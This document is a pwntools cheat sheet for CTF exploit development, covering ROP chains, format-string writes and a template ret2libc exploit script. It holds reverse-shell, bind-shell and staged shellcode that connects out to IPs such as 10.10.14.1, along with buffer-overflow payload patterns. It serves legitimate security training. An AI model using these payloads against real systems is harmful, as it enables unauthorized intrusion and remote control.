PWNTOOLS
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Python library for CTF competitions and exploit development. Essential for binary exploitation, reverse engineering, and OSCP prep.
INSTALLATION#
pip install pwntools # Full install pip install pwntools --upgrade # Update apt install python3-pwntools # Kali/Debian # Verify installation python3 -c "from pwn import *; print(pwnlib.version)"
CONTEXT & LOGGING#
from pwn import * # Set architecture and OS context.arch = 'amd64' # amd64, i386, arm, mips context.os = 'linux' # linux, windows, freebsd context.bits = 64 # 32 or 64 context.endian = 'little' # little or big context.log_level = 'debug' # debug, info, warn, error # Shorthand context(arch='amd64', os='linux') context.binary = './vulnerable' # Auto-detect arch/os from binary
CONNECTING TO TARGETS#
# Local process
p = process('./vulnerable')
p = process('./vulnerable', env={'LD_PRELOAD': './libc.so.6'})
p = process(['./vulnerable', 'arg1', 'arg2'])
# Remote connection
p = remote('challenge.ctf.com', 1337)
p = remote('challenge.ctf.com', 1337, ssl=True)
# SSH connection
s = ssh('user', 'host', port=22, password='pass')
s = ssh('user', 'host', keyfile='./id_rsa')
p = s.process('./vulnerable') # Run binary over SSH
# GDB attachment
p = process('./vulnerable')
gdb.attach(p) # Attach GDB to process
gdb.attach(p, 'b main\nc') # With GDB commands
p = gdb.debug('./vulnerable', 'b main') # Start under GDB
SENDING & RECEIVING DATA#
# Sending
p.send(b'data') # Send raw bytes
p.sendline(b'data') # Send with newline
p.sendafter(b'prompt: ', b'data') # Send after receiving prompt
p.sendlineafter(b'> ', b'data') # Send line after prompt
# Receiving
p.recv(1024) # Receive up to 1024 bytes
p.recvline() # Receive one line
p.recvuntil(b'> ') # Receive until delimiter
p.recvall() # Receive all until EOF
p.recvregex(r'flag{.*}') # Receive until regex match
p.clean() # Flush receive buffer
# Interactive mode
p.interactive() # Drop to interactive shell
PACKING & UNPACKING#
# Pack integers to bytes (little-endian by default) p32(0xdeadbeef) # Pack 32-bit: b'\xef\xbe\xad\xde' p64(0xdeadbeefcafebabe) # Pack 64-bit p16(0x1337) # Pack 16-bit p8(0x41) # Pack 8-bit # Unpack bytes to integers u32(b'\xef\xbe\xad\xde') # Unpack 32-bit: 0xdeadbeef u64(b'\x00\x00\x00\x00\xde\xad\xbe\xef') # Unpack 64-bit u32(data.ljust(4, b'\x00')) # Pad and unpack # Big-endian variants p32(0xdeadbeef, endian='big') pack(0xdeadbeef, 32, endian='big')
CYCLIC PATTERNS (OFFSET FINDING)#
# Generate pattern cyclic(200) # 200-byte de Bruijn sequence cyclic(200, n=8) # For 64-bit (8-byte subsequences) # Find offset cyclic_find(0x61616166) # Find 4-byte pattern offset cyclic_find(b'faaa') # Find string offset cyclic_find(0x6161616161616166, n=8) # 64-bit offset # Workflow: crash with cyclic, read EIP/RIP, find offset # 1. Send cyclic(500) as input # 2. Check crash address in debugger # 3. cyclic_find(crash_address) = offset to return address
ELF ANALYSIS#
elf = ELF('./vulnerable')
libc = ELF('./libc.so.6')
# Addresses
elf.symbols['main'] # Symbol address
elf.got['puts'] # GOT entry
elf.plt['puts'] # PLT entry
elf.functions['main'] # Function object
# Sections
elf.address # Base address
elf.bss() # BSS section address
elf.entry # Entry point
# Search
next(elf.search(b'/bin/sh')) # Find string in binary
next(elf.search(b'\xc3')) # Find ret instruction
# Security
elf.checksec() # Show security features
# RELRO, Stack Canary, NX, PIE, FORTIFY
# Patching
elf.asm(elf.symbols['main'], 'nop') # Patch instruction
elf.write(addr, data) # Write bytes
elf.save('./patched') # Save patched binary
ROP CHAINS#
rop = ROP(elf)
rop = ROP([elf, libc]) # Multiple binaries
# Find gadgets
rop.find_gadget(['pop rdi', 'ret']) # Find specific gadget
rop.rdi # Shorthand for pop rdi; ret
# Build chain
rop.raw(rop.find_gadget(['ret'])) # Add ret (stack alignment)
rop.call('puts', [elf.got['puts']]) # Call function with args
rop.call(elf.plt['puts'], [elf.got['puts']])
# System call chain (32-bit)
rop.raw(pop_eax)
rop.raw(0xb) # execve syscall number
rop.raw(pop_ebx)
rop.raw(binsh_addr)
# ret2libc
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
# Dump chain
print(rop.dump()) # Show chain layout
payload = rop.chain() # Generate bytes
# Sigreturn ROP (SROP)
frame = SigreturnFrame()
frame.rax = 0x3b # execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
SHELLCRAFT#
# Generate shellcode (set context.arch first!)
# Linux x86_64
shellcraft.sh() # /bin/sh shell
shellcraft.cat('/flag') # Read file
shellcraft.connect('1.2.3.4', 4444) # Reverse connect
shellcraft.dupsh(4) # Dup file descriptor shell
# Assemble to bytes
shellcode = asm(shellcraft.sh())
shellcode = asm(shellcraft.linux.cat('/flag'))
# Bind shell
shellcode = asm(shellcraft.bindsh(4444))
# Reverse shell
shellcode = asm(shellcraft.connect('10.10.14.1', 9001) +
shellcraft.dupsh())
# Staged shellcode
shellcode = asm(shellcraft.stager('10.10.14.1', 9001))
ASSEMBLY & DISASSEMBLY#
# Assemble
asm('nop') # b'\x90'
asm('mov eax, 1; ret') # Multiple instructions
asm(shellcraft.sh()) # Shellcraft to bytes
# Disassemble
disasm(b'\x90') # ' 0: nop'
disasm(b'\x55\x48\x89\xe5') # Push rbp; mov rbp, rsp
# Custom architecture
asm('nop', arch='arm')
FORMAT STRING EXPLOITATION#
# Automatic format string exploitation
fmtstr = FmtStr(exec_func) # exec_func sends/receives
fmtstr.write(got_addr, system_addr) # Write value to address
fmtstr.execute_writes() # Generate payload
# Manual format string
fmtstr_payload(offset, {addr: val}) # offset = format string offset
fmtstr_payload(6, {elf.got['printf']: elf.plt['system']})
# Finding offset
FmtStr(exec_func).offset # Auto-detect offset
DYNAMIC LIBC RESOLUTION#
# Leak libc address and calculate base puts_leak = u64(p.recv(6).ljust(8, b'\x00')) libc.address = puts_leak - libc.symbols['puts'] # Using libc database # After leaking: search on libc.blukat.me or libc.rip
COMMON CTF PATTERNS#
# Buffer overflow (ret2win)
padding = b'A' * offset
payload = padding + p64(win_func_addr)
p.sendline(payload)
# ret2libc (64-bit, needs stack alignment)
padding = b'A' * offset
rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])) # Stack align
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
payload = padding + rop.chain()
# GOT overwrite via format string
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['win']})
# Heap exploitation
from pwn import *
# Allocate/free patterns depend on challenge
# Use pwndbg for heap inspection
# PIE bypass (leak + calculate base)
elf.address = leaked_addr - known_offset
# Canary leak
# Use format string or partial overwrite to leak canary
# Place canary back in payload
USEFUL UTILITIES#
# Hex encoding
enhex(b'AAAA') # '41414141'
unhex('41414141') # b'AAAA'
# Base64
b64e(b'data') # Encode
b64d('ZGF0YQ==') # Decode
# XOR
xor(b'data', b'key') # XOR bytes
xor_key(ciphertext, known_plain) # Find XOR key
# Hashing
md5sumhex(b'data') # MD5 hash
sha1sumhex(b'data') # SHA1 hash
# Bit manipulation
bits(0x41) # [0, 1, 0, 0, 0, 0, 0, 1]
unbits([0,1,0,0,0,0,0,1]) # 65
# File I/O
write('payload.bin', payload) # Write bytes to file
data = read('data.bin') # Read bytes from file
# Logging
log.info('Leaked address: %#x' % leak)
log.success('Got shell!')
log.warning('Exploit may be unreliable')
TEMPLATE EXPLOIT SCRIPT#
#!/usr/bin/env python3
from pwn import *
# Setup
context.binary = elf = ELF('./vulnerable')
libc = ELF('./libc.so.6', checksec=False)
# Choose target
if args.REMOTE:
p = remote('challenge.ctf.com', 1337)
else:
p = process(elf.path)
# Exploit
offset = 72
payload = flat(
b'A' * offset,
rop.find_gadget(['ret']), # Stack alignment
rop.find_gadget(['pop rdi', 'ret']),
next(libc.search(b'/bin/sh\x00')),
libc.symbols['system']
)
p.sendlineafter(b'> ', payload)
p.interactive()
TIPS#
- Always set context.binary for auto architecture detection - Use args.REMOTE for easy local/remote switching - p.interactive() after getting shell to interact - Use gdb.attach() liberally during development - cyclic + cyclic_find is faster than manual offset calculation - Check checksec output to determine exploit strategy - Use flat() to combine multiple packed values cleanly